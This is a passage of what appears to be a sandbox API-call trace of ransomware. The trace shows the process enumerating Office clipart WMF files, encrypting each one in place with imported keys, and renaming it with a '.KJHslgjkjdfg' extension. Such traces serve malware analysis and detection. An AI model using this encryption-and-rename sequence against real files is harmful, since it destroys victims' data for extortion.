lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.044] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.044] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.044] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.044] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.044] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.044] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3004, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3004, lpOverlapped=0x0) returned 1 [0179.045] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3010, dwBufLen=0x3010 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3010) returned 1 [0179.045] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.045] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3010, lpOverlapped=0x0) returned 1 [0179.046] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.046] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x30e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.046] SetEndOfFile (hFile=0x114) returned 1 [0179.049] GetProcessHeap () returned 0x2a0000 [0179.049] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.049] GetProcessHeap () returned 0x2a0000 [0179.049] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf.kjhslgjkjdfg")) returned 1 [0179.050] CloseHandle (hObject=0x114) returned 1 [0179.050] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188519.WMF", cAlternateFileName="")) returned 1 [0179.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.051] GetProcessHeap () returned 0x2a0000 [0179.051] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.051] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.051] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.051] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.051] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.052] GetProcessHeap () returned 0x2a0000 [0179.052] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.052] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.052] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.052] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.054] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.055] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.055] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.055] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.055] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.055] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.055] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16c0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x16c0, lpOverlapped=0x0) returned 1 [0179.056] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16c0, dwBufLen=0x16c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16c0) returned 1 [0179.056] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.056] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x16c0, lpOverlapped=0x0) returned 1 [0179.057] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.057] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.057] SetEndOfFile (hFile=0x114) returned 1 [0179.059] GetProcessHeap () returned 0x2a0000 [0179.059] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.059] GetProcessHeap () returned 0x2a0000 [0179.059] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.059] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf.kjhslgjkjdfg")) returned 1 [0179.061] CloseHandle (hObject=0x114) returned 1 [0179.061] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188587.WMF", cAlternateFileName="")) returned 1 [0179.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.062] GetProcessHeap () returned 0x2a0000 [0179.062] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.062] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.062] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.062] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.064] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.064] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.064] GetProcessHeap () returned 0x2a0000 [0179.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.064] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.065] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.065] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.065] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.065] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.065] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.065] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.065] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.065] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.065] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3b5c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3b5c, lpOverlapped=0x0) returned 1 [0179.066] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3b60, dwBufLen=0x3b60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3b60) returned 1 [0179.067] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.067] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3b60, lpOverlapped=0x0) returned 1 [0179.067] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.067] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.067] SetEndOfFile (hFile=0x114) returned 1 [0179.070] GetProcessHeap () returned 0x2a0000 [0179.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.070] GetProcessHeap () returned 0x2a0000 [0179.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.071] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf.kjhslgjkjdfg")) returned 1 [0179.072] CloseHandle (hObject=0x114) returned 1 [0179.072] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e9e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188667.WMF", cAlternateFileName="")) returned 1 [0179.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.073] GetProcessHeap () returned 0x2a0000 [0179.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.073] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.073] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.073] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0179.075] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.075] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.075] GetProcessHeap () returned 0x2a0000 [0179.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.075] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.075] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.075] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.076] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.076] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.076] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.076] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.076] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.076] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.076] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.076] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.076] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3e9e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3e9e, lpOverlapped=0x0) returned 1 [0179.077] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ea0, dwBufLen=0x3ea0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ea0) returned 1 [0179.077] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.077] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3ea0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3ea0, lpOverlapped=0x0) returned 1 [0179.078] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.078] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.078] SetEndOfFile (hFile=0x114) returned 1 [0179.080] GetProcessHeap () returned 0x2a0000 [0179.080] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.080] GetProcessHeap () returned 0x2a0000 [0179.080] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.080] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf.kjhslgjkjdfg")) returned 1 [0179.082] CloseHandle (hObject=0x114) returned 1 [0179.082] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188669.WMF", cAlternateFileName="")) returned 1 [0179.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.086] GetProcessHeap () returned 0x2a0000 [0179.086] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.086] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.086] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0179.088] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.088] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.088] GetProcessHeap () returned 0x2a0000 [0179.088] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.088] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.088] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.088] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.089] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.089] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.089] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.089] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.089] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.089] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.089] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.089] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.089] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x73a2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x73a2, lpOverlapped=0x0) returned 1 [0179.090] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x73b0, dwBufLen=0x73b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x73b0) returned 1 [0179.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.091] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x73b0, lpNumberOfBytesWritten=0x290f270, 